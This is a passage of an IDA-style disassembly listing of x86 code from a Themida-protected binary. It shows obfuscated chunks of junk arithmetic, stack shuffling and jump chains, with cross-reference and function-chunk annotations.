		jmp	loc_593CDE
sub_591A08	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_591A13:				; CODE XREF: sub_59390B+5DE4j
		mov	edx, 33AE77DDh
		sub	ebp, edx
		pop	edx
		sub	esp, 4
		mov	[esp-8+arg_0], ecx
		jmp	loc_59D369
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_591A29:				; CODE XREF: Themida_:00596581j
		push	799h
		jmp	loc_59CF01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B8C7


loc_591A33:				; CODE XREF: sub_59B8C7+8225j
		mov	[esp+0], edx
		jmp	loc_593F21
; END OF FUNCTION CHUNK	FOR sub_59B8C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_591A3B:				; CODE XREF: sub_59390B+F57Aj
		mov	[esp-8+arg_0], ebx
		mov	bl, 3Dh
		add	bl, 1
		jmp	loc_59F633
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_591A48:				; CODE XREF: Themida_:005945D5j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5998D8
; ---------------------------------------------------------------------------


loc_591A5C:				; CODE XREF: Themida_:0059D8C6j
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_592375
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_591A6C:				; CODE XREF: sub_59E918-DBBCj
		push	eax
		push	esp
		pop	eax
		push	ebx
		mov	ebx, 1ED8477Ah
		push	ecx
		push	eax
		mov	eax, 0E127B88Ah
		mov	ecx, eax
		pop	eax
		add	ebx, ecx
		jmp	loc_590B25
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------


loc_591A86:				; CODE XREF: Themida_:00598D30j
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	5DA0h
		mov	[esp], ebp
		mov	ebp, 256F2916h
		shl	ebp, 5
		add	ebp, 0B84B0B4Fh
		shr	ebp, 4
		push	edi
		mov	edi, 25C4116Ch
		jmp	loc_597EAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_591ABF:				; CODE XREF: sub_59390B+6BFDj
		mov	[esp-8+arg_0], esi
		push	242642Ch
		pop	esi
		push	ebx
		mov	ebx, 0EA309AEh
		sub	ebx, 0F3AAE00Ah
		and	esi, ebx
		pop	ebx
		and	esi, 1AF222A4h
		jmp	loc_59B330
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_591AE2:				; CODE XREF: Themida_:005A5241j
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 65440DBCh
		jmp	loc_5A4510
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_591B0F:				; CODE XREF: sub_59390B-954j
		mov	al, 0F6h
		sub	bl, al
		mov	ax, word ptr [esp-8+arg_0]
		jmp	loc_591F52
; ---------------------------------------------------------------------------


loc_591B1C:				; CODE XREF: sub_59390B+F0B6j
		pop	edi
		shl	ecx, 7
		neg	ecx
		xor	ecx, 4309A732h
		sub	edi, ecx
		mov	ecx, [esp-0Ch+arg_4]
		jmp	loc_59C403
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_591B32:				; CODE XREF: Themida_:0059D977j
		add	dl, ah
		mov	eax, [esp]
		add	esp, 4
		xor	dl, 1Fh
		jmp	loc_594562
; ---------------------------------------------------------------------------


loc_591B42:				; CODE XREF: Themida_:0059D8E5j
		add	eax, 4
		add	eax, 4
		jmp	loc_59E9EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_591B4F:				; CODE XREF: sub_59390B+E2B9j
		pop	ebx
		xchg	edi, [esp-10h+arg_8]
		pop	esp
		mov	[esp-14h+arg_C], esi
		mov	esi, 0F9B197Bh
		shl	esi, 1
		jmp	loc_5A02AA
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17BF


loc_591B63:				; CODE XREF: sub_5A17BF-B3D4j
		push	ecx
		mov	ecx, 0FFFFFFFFh
		sub	esi, 3F9568C9h
		add	esi, 4E907A38h
		sub	esi, ecx
		jmp	loc_5934C8
; END OF FUNCTION CHUNK	FOR sub_5A17BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A905


loc_591B7C:				; CODE XREF: sub_59A905+9j
		push	ecx
		neg	[esp+4+var_4]
		pop	ecx
		shr	ecx, 2
		shl	ecx, 4
		push	edi
		push	esi
		push	25E63050h
		pop	esi
		neg	esi
		sub	esi, 0A2B5D722h
		mov	edi, esi
		jmp	loc_597DF0
; END OF FUNCTION CHUNK	FOR sub_59A905
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_591B9E:				; CODE XREF: sub_59390B+60D6j
		sub	edi, 51EF6E66h
		jmp	loc_5924B4
; ---------------------------------------------------------------------------


loc_591BA9:				; CODE XREF: sub_59390B+85Cj
		mov	[esp-14h+arg_C], edx
		push	eax
		pushf
		jmp	loc_5A1DBE
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B8D


loc_591BB3:				; CODE XREF: sub_590B8D+1793j
		mov	ebp, esp
		jmp	loc_59AA15
; END OF FUNCTION CHUNK	FOR sub_590B8D
; ---------------------------------------------------------------------------


loc_591BBA:				; CODE XREF: Themida_:00595E23j
		push	70555262h
		jmp	loc_595AAC
; ---------------------------------------------------------------------------


loc_591BC4:				; CODE XREF: Themida_:005A36C5j
		and	ebx, 130A54A6h
		inc	ebx
		sub	ebx, 100A501Fh
		add	edx, ebx
		pop	ebx
		push	ecx
		mov	ecx, 4
		sub	edx, 69A6BA3h
		jmp	loc_5A203B
; ---------------------------------------------------------------------------


loc_591BE5:				; CODE XREF: Themida_:005A0FA3j
		push	edx
		push	ecx
		jmp	loc_59F185
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594A8D


loc_591BEC:				; CODE XREF: sub_594A8D+108F9j
		push	eax
		mov	eax, 0FFFFFFFFh
		sub	esi, eax
		jmp	loc_59A757
; END OF FUNCTION CHUNK	FOR sub_594A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2D8D


loc_591BF9:				; CODE XREF: sub_5A2D8D-7F5Aj
		mov	edi, 44AD59C9h
		jmp	loc_59C271
; END OF FUNCTION CHUNK	FOR sub_5A2D8D
; ---------------------------------------------------------------------------


loc_591C03:				; CODE XREF: Themida_:00594F82j
		mov	esi, ebx
		pop	ebx
		sub	eax, esi
		pop	esi
		pop	edx
		jmp	loc_5A4D68
; ---------------------------------------------------------------------------


loc_591C0F:				; CODE XREF: Themida_:005A03AAj
		mov	[esp], edi
		jmp	loc_5A282C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3EFB


loc_591C17:				; CODE XREF: sub_5A3EFB+7j
		push	5DC015BBh
		pop	ecx
		neg	ecx
		push	ebx
		mov	ebx, 1AA33989h
		jmp	loc_5990FE
; END OF FUNCTION CHUNK	FOR sub_5A3EFB
; ---------------------------------------------------------------------------


loc_591C2A:				; CODE XREF: Themida_:00592DEAj
		dec	ebp
		neg	ebp
		xor	ebp, 246131EBh
		sub	ebp, 0EB1BF2B1h
		sub	ecx, ebp
		pop	ebp
		add	edx, ecx
		pop	ecx
		jmp	loc_598057
; ---------------------------------------------------------------------------


loc_591C44:				; CODE XREF: Themida_:005A149Cj
		push	dword ptr [esp+4]
		jmp	loc_590F76
; ---------------------------------------------------------------------------


loc_591C4D:				; CODE XREF: Themida_:0059B550j
		add	esp, 4
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		jmp	loc_5A548A
; ---------------------------------------------------------------------------


loc_591C61:				; CODE XREF: Themida_:0059F5FBj
		sub	edi, edx
		pop	edx
		jmp	loc_59A1C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_591C69:				; CODE XREF: sub_59390B+7AAEj
		xor	edi, [esp-0Ch+arg_4]
		mov	esp, [esp-0Ch+arg_4]
		push	5F75h
		jmp	loc_590C38
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_591C79:				; CODE XREF: Themida_:0059A2D6j
		or	ebx, 4AE100B1h
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_599BAF
; ---------------------------------------------------------------------------


loc_591C8D:				; CODE XREF: Themida_:00596DB4j
		pop	edi
		push	ebx
		mov	ebx, 7C3238AFh
		neg	ebx
		push	esi
		mov	esi, 7C3238B1h
		add	ebx, esi
		pop	esi
		add	ebp, ebx
		jmp	loc_595008
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_591CA6:				; CODE XREF: sub_59390B+2F3Cj
		add	edx, 7EF756B1h
		add	edx, ebx
		jmp	loc_59C825
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59333E


loc_591CB3:				; CODE XREF: sub_59333E+1D61j
		pop	edx
		push	ecx
		pop	ebx
		jmp	loc_5A4772
; END OF FUNCTION CHUNK	FOR sub_59333E
; ---------------------------------------------------------------------------


loc_591CBB:				; CODE XREF: Themida_:0059DE75j
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_592DB0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_591CCA:				; CODE XREF: sub_59390B-2226j
		mov	edx, [esp-0Ch+arg_4]
		add	esp, 4
		sub	bl, al
		add	bl, 0A0h
		add	bl, 3Eh
		push	2CDDh
		mov	[esp-0Ch+arg_4], edx
		jmp	sub_59D9FE
; ---------------------------------------------------------------------------


loc_591CE8:				; CODE XREF: sub_59390B+BD18j
		mov	esp, [esp-0Ch+arg_4]
		or	[esp-0Ch+arg_4], eax
		pushf
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0BFE


loc_591CF4:				; CODE XREF: sub_5A0BFE-7559j
		xor	ebp, esi
		pop	esi
		jmp	loc_5A4A3D
; END OF FUNCTION CHUNK	FOR sub_5A0BFE
; ---------------------------------------------------------------------------


loc_591CFC:				; CODE XREF: Themida_:0059E39Bj
		sub	ecx, 9233F084h
		sub	esi, ecx
		pop	ecx
		sub	esi, 6BEA0F25h
		sub	esi, 225D5ED7h
		add	esi, eax
		jmp	loc_59A50D
; ---------------------------------------------------------------------------


loc_591D18:				; CODE XREF: Themida_:005A1657j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 31F471D4h
		sub	ecx, edx
		pop	edx
		pop	edi
		push	ebx
		mov	ebx, 2
		jmp	loc_5A211E

; =============== S U B	R O U T	I N E =======================================



sub_591D35	proc near		; CODE XREF: sub_590BDF+8E89j

; FUNCTION CHUNK AT 0059497C SIZE 0000000B BYTES

		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp+0]
		pop	esp
		add	esi, 4
		jmp	loc_59497C
sub_591D35	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592CEE


loc_591D4D:				; CODE XREF: sub_592CEE+D331j
		pop	edx
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_592CEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5969DC


loc_591D59:				; CODE XREF: sub_5969DC+480Aj
		mov	esi, esp
		push	edi
		mov	edi, 4CB34896h
		jmp	loc_59D17B
; END OF FUNCTION CHUNK	FOR sub_5969DC
; ---------------------------------------------------------------------------


loc_591D66:				; CODE XREF: Themida_:00596EE6j
		mov	ecx, edx
		pop	edx
		add	eax, 4E555A3Eh
		add	eax, ecx
		sub	eax, 4E555A3Eh
		jmp	loc_59CFDC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4E7


loc_591D7A:				; CODE XREF: sub_59F4E7-D662j
		push	4
		pop	edx
		push	edx
		mov	edx, 2B8E2545h
		sub	ecx, edx
		pop	edx
		add	ecx, edx
		add	ecx, 2B8E2545h
		pop	edx
		push	edx
		jmp	loc_5A3D94
; END OF FUNCTION CHUNK	FOR sub_59F4E7
; ---------------------------------------------------------------------------


loc_591D98:				; CODE XREF: Themida_:00599EFDj
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		push	5045h
		jmp	loc_593887
; ---------------------------------------------------------------------------


loc_591DAC:				; CODE XREF: Themida_:00591E31j
		xor	edx, [esp]
		pop	esp
		movzx	cx, al
		push	29DEh
		jmp	loc_592CD0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595941


loc_591DBE:				; CODE XREF: sub_595941+2567j
		pop	ecx
		add	ebx, ecx
		pop	ecx
		jmp	loc_59DEC8
; END OF FUNCTION CHUNK	FOR sub_595941
; ---------------------------------------------------------------------------


loc_591DC7:				; CODE XREF: Themida_:0059D3DBj
		pop	edi
		sub	ebx, 4
		jmp	loc_59B58D
; ---------------------------------------------------------------------------


loc_591DD0:				; CODE XREF: Themida_:005A5B54j
		add	ebp, ebx
		pop	ebx
		mov	edi, ebp
		pop	ebp
		jmp	loc_595D6C
; ---------------------------------------------------------------------------


loc_591DDB:				; CODE XREF: Themida_:005A3E17j
		sub	esp, 2
		mov	[esp], si
		pop	cx
		mov	si, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 2
		jmp	loc_5A0574
; ---------------------------------------------------------------------------


loc_591DFC:				; CODE XREF: Themida_:0059A620j
		not	edi
		inc	edi
		push	edx
		mov	edx, 59A14268h
		xchg	edi, edx
		not	edi
		xor	edx, edi
		jmp	loc_5A4FF4
; ---------------------------------------------------------------------------


loc_591E10:				; CODE XREF: Themida_:005A166Cj
		xor	ebx, 11A70E19h
		not	ebx
		jmp	loc_5A36C4
; ---------------------------------------------------------------------------


loc_591E1D:				; CODE XREF: Themida_:00597529j
		push	5FBFh
		mov	[esp], edx
		jmp	loc_5A1FC4
; ---------------------------------------------------------------------------


loc_591E2A:				; CODE XREF: Themida_:0059E2A2j
		pop	esi
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_591DAC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F6E


loc_591E36:				; CODE XREF: sub_5A3F6E-241Fj
		xchg	edi, [esp+0]
		pop	esp
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_5A3F6E
; ---------------------------------------------------------------------------


loc_591E3F:				; CODE XREF: Themida_:005A011Bj
		shr	bl, 5
		sub	bl, 32h
		sub	bl, 5Ah
		neg	bl
		add	bl, 0CEh
		add	al, bl
		jmp	loc_59A990
; ---------------------------------------------------------------------------


loc_591E54:				; CODE XREF: Themida_:005A0597j
		push	edx
		push	edi
		mov	edi, 241A79CFh
		jmp	loc_595E33
; ---------------------------------------------------------------------------
		push	31E3h
		mov	[esp], esi
		mov	esi, 5D2935AFh
		sub	esp, 4
		jmp	loc_5971D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_591E75:				; CODE XREF: sub_59390B+4C76j
		mov	ecx, 6304575Bh
		shl	ecx, 1
		jmp	loc_59A712
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4E7


loc_591E81:				; CODE XREF: sub_59F4E7-69B1j
		pop	esp
		mov	[esp-4+arg_0], edx
		jmp	loc_591D7A
; END OF FUNCTION CHUNK	FOR sub_59F4E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_591E8A:				; CODE XREF: sub_59390B+A46Bj
		add	esp, 4
		push	edi
		mov	edi, 3D1671E0h
		jmp	loc_593E0D
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EA40


loc_591E98:				; CODE XREF: sub_59EA40+3667j
		mov	edx, [esp+4+var_4]
		add	esp, 4
		push	esi
		mov	esi, 2A9417B8h
		and	esi, 2B6A68AAh
		inc	esi
		jmp	loc_59A591
; END OF FUNCTION CHUNK	FOR sub_59EA40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_591EB0:				; CODE XREF: sub_59390B+7579j
		mov	[esp-8+arg_0], ecx
		jmp	loc_5A1387
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_591EB8:				; CODE XREF: Themida_:0059E6D2j
		sub	eax, 1
		or	eax, 6E9D01CBh
		shr	eax, 2
		xor	eax, 0FFB192Bh
		inc	eax
		sub	eax, 0C4C67D55h
		add	esi, eax
		pop	eax
		sub	esi, 5934455Bh
		pop	edi
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_59CE4F
; ---------------------------------------------------------------------------


loc_591EFB:				; CODE XREF: Themida_:0059FDAFj
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	1879h
		jmp	loc_5A345B

; =============== S U B	R O U T	I N E =======================================



sub_591F0D	proc near		; CODE XREF: sub_59AB43-A063j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059B761 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059BD3D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059F7D3 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 005A2A5A SIZE 00000037 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, 9AB6556h
		jmp	loc_59B761
sub_591F0D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_591F20:				; CODE XREF: sub_59390B+106DEj
		shl	edx, 6
		add	edx, 1
		push	5BB1h
		mov	[esp+0], edi
		push	2A304F13h
		mov	edi, [esp+0]
		jmp	loc_5A5426
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_591F3B:				; CODE XREF: sub_5A4CDD-EE43j
		xor	ebx, esi
		push	4FE7h
		mov	[esp+4+var_4], eax
		jmp	loc_592F45
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------


loc_591F4A:				; CODE XREF: Themida_:00597F8Fj
		xor	eax, [esp]
		jmp	loc_59462C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_591F52:				; CODE XREF: sub_59390B-1DF4j
		add	esp, 2
		sub	esp, 4
		mov	[esp-8+arg_0], ecx
		mov	ecx, 166A13E3h
		jmp	loc_5928CE
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_591F68:				; CODE XREF: sub_599AE1+2A3Bj
		or	edi, 7B96024Eh
		sub	edi, 34B3CC0Fh
		sub	esi, 5A8F11CFh
		add	esi, edi
		jmp	loc_598CF8
; END OF FUNCTION CHUNK	FOR sub_599AE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_591F81:				; CODE XREF: sub_59390B+4A5j
		add	esp, 4
		jmp	loc_5A1E4C
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_591F8C:				; CODE XREF: Themida_:00592C9Cj
		push	ebx
		mov	bh, 8Fh
		not	bh
		inc	bh
		and	bh, 20h
		neg	bh
		push	eax
		push	ebx
		mov	bl, 0AFh
		mov	ah, bl
		pop	ebx
		add	bh, ah
		pop	eax
		xor	bh, 0F7h
		jmp	loc_590EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_591FAA:				; CODE XREF: sub_59390B+DBF5j
		push	[esp-0Ch+arg_4]
		jmp	loc_59F444
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591745


loc_591FB2:				; CODE XREF: sub_591745+CE1Dj
		and	eax, edx
		mov	edx, [esp+8+var_8]
		jmp	loc_5A0D16
; END OF FUNCTION CHUNK	FOR sub_591745
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F294


loc_591FBC:				; CODE XREF: sub_59F294+63j
		xchg	ecx, [esp+4+var_4]
		pop	esp
		jmp	loc_59E076
; END OF FUNCTION CHUNK	FOR sub_59F294

; =============== S U B	R O U T	I N E =======================================



sub_591FC5	proc near		; CODE XREF: sub_59390B+102j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00590E9C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00592196 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00592CCA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005933E0 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00593630 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005963A1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00596E98 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00596F59 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00596FF7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005983C3 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00598563 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059A9DF SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059B571 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B720 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059B8A0 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059C301 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059C766 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059C9A1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059D075 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059D720 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059DA0E SIZE 0000003C BYTES
; FUNCTION CHUNK AT 0059E066 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059F17D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059F353 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A0ADB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A2482 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A2FA3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A300A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A3F83 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A463D SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		jmp	loc_5963A1
sub_591FC5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_591FD0:				; CODE XREF: sub_59390B+81A5j
		pop	ecx
		sub	al, bh
		pop	ebx
		pop	ebx
		jmp	loc_59EE7F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B8C7


loc_591FDA:				; CODE XREF: sub_59B8C7+1j
		mov	ebp, esp
		jmp	loc_5A3ADC
; END OF FUNCTION CHUNK	FOR sub_59B8C7

; =============== S U B	R O U T	I N E =======================================



sub_591FE1	proc near		; CODE XREF: sub_5A12B1-A2Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005936B8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005936DF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00593852 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005938BF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005938E9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00594A5F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00594FBA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00595B5E SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00595CE2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059685F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059798E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00598283 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00599137 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059BB69 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059C3A8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059D856 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059E304 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059E3B5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059E6F7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059E953 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 005A14A1 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 005A17A3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A1CD7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A1FEE SIZE 00000008 BYTES

		push	ebp
		jmp	loc_595B5E
sub_591FE1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_591FE7:				; CODE XREF: Themida_:00593419j
		add	esp, 2
		push	ecx
		push	edx
		push	3A5Eh
		jmp	loc_5A4F2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C8E


loc_591FF6:				; CODE XREF: sub_597C8E+Ej
		xor	ecx, ebp
		pop	ebp
		sub	ebp, ecx
		pop	ecx
		jmp	loc_5A2F8E
; END OF FUNCTION CHUNK	FOR sub_597C8E
; ---------------------------------------------------------------------------


loc_592001:				; CODE XREF: Themida_:0059BC8Fj
		or	bh, ah
		pop	eax
		neg	bh
		sub	bh, 1
		neg	bh
		jmp	loc_59F600
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59654E


loc_592010:				; CODE XREF: sub_59654E+5220j
		dec	esi
		jmp	loc_59F081
; END OF FUNCTION CHUNK	FOR sub_59654E
; ---------------------------------------------------------------------------


loc_592016:				; CODE XREF: Themida_:005A3852j
		add	ebx, edx
		pop	edx
		add	ebx, 2
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_592E4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_592032:				; CODE XREF: sub_59390B-FBFj
		add	esi, 1278303Ah
		pop	ecx
		push	ecx
		mov	ecx, 4
		sub	esi, 1A6518F7h
		add	esi, ecx
		add	esi, 1A6518F7h
		pop	ecx
		xchg	esi, [esp-18h+arg_10]
		jmp	loc_594EE9
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_592056:				; CODE XREF: Themida_:005A3FA2j
		mov	eax, esp
		add	eax, 4
		push	edx
		sub	esp, 4
		jmp	loc_5A1F57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_592069:				; CODE XREF: sub_59390B+D479j
		mov	[esp-18h+arg_10], edi
		push	6B4Fh
		mov	[esp-14h+arg_C], esp
		sub	esp, 4
		mov	[esp-10h+arg_8], ecx
		mov	ecx, 4
		jmp	loc_597F54
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_592087:				; CODE XREF: sub_5A4CDD-68DCj
		mov	ebx, 4
		jmp	loc_5966D9
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------


loc_592091:				; CODE XREF: Themida_:0059C65Bj
		pop	esp
		pop	ecx
		mov	[edx], bl
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_59D3AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5920A9:				; CODE XREF: sub_59390B+117BCj
		add	esp, 4
		xor	esi, [esp-14h+arg_C]
		xor	[esp-14h+arg_C], esi
		xor	esi, [esp-14h+arg_C]
		mov	esp, [esp-14h+arg_C]
		imul	cl
		movzx	cx, ah
		push	small 1BC0h
		mov	word ptr [esp-12h+arg_8+2], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5920D5:				; CODE XREF: Themida_:0059D62Ej
		sub	dl, 98h
		mov	bl, dl
		pop	edx
		mov	al, bl
		pop	ebx
		sub	al, 3Ah
		sub	bl, 0B9h
		push	ecx
